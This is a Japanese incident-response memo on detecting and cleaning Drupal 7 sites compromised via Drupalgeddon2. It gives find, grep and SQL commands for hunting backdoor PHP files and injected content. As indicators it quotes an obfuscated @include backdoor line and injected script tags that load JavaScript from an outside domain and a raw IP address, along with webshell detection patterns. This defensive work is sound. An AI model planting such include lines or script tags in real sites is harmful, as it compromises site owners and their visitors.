drupalgeddon2 Drupal クラック暫定対応
Nid: 1189
恒久対応:影響範囲の特定は困難なので、サイトを作り直して、データ投入やり直し。
影響範囲:drupal 7.59 以降にアップデートしていないサイト。
1 . 権限で検索
改ざんされたindex.phpなど、実行可能ファイルを検索
$ sudo find /var/www/html -executable -type f
特定ディレクトリのファイル実行権限を削除するには、
$ sudo find <directory> -type f -exec chmod -x '{}' \;
2 . ファイル名で検索
- 「.」で始まる *.ico ファイル
例:「.fae39f7c.ico」
$ sudo find /var/www/html -name "\.*.ico"
移動する場合、
$ sudo find /var/www/html -name "\.*.ico" -exec mv -t /tmp {} \+
- 意図しない場所の index.php
例:「.well-known/acme-challenge/index.php」
$ sudo find /var/www/html -mindepth 3 -name index.php | grep -v 'wp-admin\|wp-content'
中には以下のような記述があるので、
@include "\057h\157m\145/\147l\145n\143c\057p\165b\154i\143_\150t\155l\057p\162o\146i\154e\163/\164e\163t\151n\147/\0564\0621\142e\071a\067.\151c\157";
https://www.unphp.net/ を使用して decode、転送先の malware も確認して隔離する。
削除する場合、
$ sudo find /var/www/html -mindepth 3 -name index.php | grep -v 'wp-admin\|wp-content' | grep 'well-known\|uploads' | sudo xargs rm
- 英小文字数字8文字の *.php ファイル
例:「jnghfbwb.php」
$ sudo find /var/www/html -type f | egrep './[a-z0-9]{8}\.php' $ sudo find /var/www/html -type f | egrep './[a-z0-9]{8}\.php' | grep -v 'template.php\|settings.php\|autoload.php\|jsonpath.php\|generate.php\|advanced.php\|ckeditor.php\|entities.php\|jmespath.php\|comments.php\|category.php\|bookmark.php\|revision.php\|taxonomy.php\|timeline.php\|activity.php\|debugger.php\|contacts.php\|facebook.php\|freedoms.php\|gzdecode.php\|services.php\|archives.php\|ultimate_cron/includes/nicejson.php\|dataTables/examples/resources/examples.php'
移動する場合、
$ sudo find /var/www/html -type f | egrep './[a-z0-9]{8}\.php' | grep -v 'template.php\|settings.php\|autoload.php\|jsonpath.php\|generate.php\|advanced.php\|ckeditor.php\|entities.php\|jmespath.php\|comments.php\|category.php\|bookmark.php\|revision.php\|taxonomy.php\|timeline.php\|activity.php\|debugger.php\|contacts.php\|facebook.php\|freedoms.php\|gzdecode.php\|services.php\|archives.php' | sudo xargs -I {} mv {} /tmp
3 . ファイルの中身で検索
怪しいphpファイルを検索
$ grep " *=PHP_VERSION *\| *Phar::interceptFileFuncs() *\| *@include *\| *interceptFileFuncs *\| *eval *( *gzinflate *( *base64_decode *( *\| *base64_decode *\| *function *wscandir *\| *HTTP/1.0 *404 *Not *Found *\| *@gzuncompress *\| *Array *( *) *; *global *\| *@unserialize" -rl /var/www/html --include='*.php'
個別に見る場合、
find . -type f -name '*.php' | xargs grep -l " *=PHP_VERSION *" find . -type f -name '*.php' | xargs grep -l " *Phar::interceptFileFuncs() *" find . -type f -name '*.php' | xargs grep -l " *@include *" find . -type f -name '*.php' | xargs grep -l " *interceptFileFuncs *" find . -type f -name '*.php' | xargs grep -l " *eval *( *gzinflate *( *base64_decode *( *" find . -type f -name '*.php' | xargs grep -l " *base64_decode *" find . -type f -name '*.php' | xargs grep -l " *function *wscandir *" find . -type f -name '*.php' | xargs grep -l " *HTTP/1.0 *404 *Not *Found *" find . -type f -name '*.php' | xargs grep -l " *@gzuncompress *" find . -type f -name '*.php' | xargs grep -l " *Array *( *) *; *global *" find . -type f -name '*.php' | xargs grep -l " *@unserialize *"
4 . カレントディレクトリをまとめて検索
$ find . -executable -type f ; find . -name "\.*.ico" && find . -mindepth 3 -name index.php | grep -v 'wp-admin\|wp-content\|htmlpurifier/tests/index.php' ; find . -type f | egrep './[a-z0-9]{8}\.php' | grep -v 'template.php\|settings.php\|autoload.php\|jsonpath.php\|generate.php\|advanced.php\|ckeditor.php\|entities.php\|jmespath.php\|comments.php\|category.php\|bookmark.php\|revision.php\|taxonomy.php\|timeline.php\|activity.php\|debugger.php\|contacts.php\|facebook.php\|freedoms.php\|gzdecode.php\|services.php\|archives.php' ; grep " *=PHP_VERSION *\| *Phar::interceptFileFuncs() *\| *@include *\| *interceptFileFuncs *\| *eval *( *gzinflate *( *base64_decode *( *\| *base64_decode *\| *function *wscandir *\| *HTTP/1.0 *404 *Not *Found *\| *@gzuncompress *\| *Array *( *) *; *global *\| *@unserialize" -rl . --include='*.php'
5 . データベースを検索
$ sudo mysql db_octaviadata.com
MariaDB [db_octaviadata.com]> SELECT entity_id FROM field_data_body WHERE body_value LIKE ("%localstorage.tk.%");
以下のようなコードが見つかった場合、
<script type=''text/javascript'' src=''https://js.localstorage.tk/s.js?qr=888''></script><script type=''text/javascript'' src=''http://193.201.224.233/m.js?d=1''></script>
UPDATE文で削除。
UPDATE field_data_body SET body_value=REPLACE(body_value,'<script type=''text/javascript'' src=''https://js.localstorage.tk/s.js?qr=888''></script><script type=''text/javascript'' src=''http://193.201.224.233/m.js?d=1''></script>','') ;
キャッシュ削除
$ drush sql-query "DELETE FROM cache_bootstrap" && drush sql-query "DELETE FROM cache" && drush php-eval "entity_info_cache_clear();"
6 . 改ざんされたファイルをモジュールで検索
https://www.drupal.org/project/hacked
新規作成ファイルは検知できない。
drupal 以外のファイルもわからない。.htaccess など。
$ sudo drush en hacked -y && drush hacked-list-projects --force-rebuild && drush hacked-list-projects | grep Changed Title Name Version Status Changed Deleted Drupal core drupal 7.61 Changed 5 0 Free pager freepager 7.x-2.x-dev Changed 1 0 FullCalendar fullcalendar 7.x-2.0+7-dev Changed 3 0 responsive_bartik responsive_bartik 7.x-1.0 Changed 6 0 tagadelic tagadelic 7.x-2.x-dev Changed 1 0 ubercart ubercart 7.x-3.11 Changed 2 0 views_fluid_grid views_fluid_grid 7.x-3.0 Changed 1 0 visitors visitors 7.x-1.9 Changed 1 0
$ drush hacked-details ubercart
$ drush hacked-diff ubercart
7 . アップデート、キャッシュクリア、ディレクトリ権限設定
関連記事
- 1 of 2
- next ›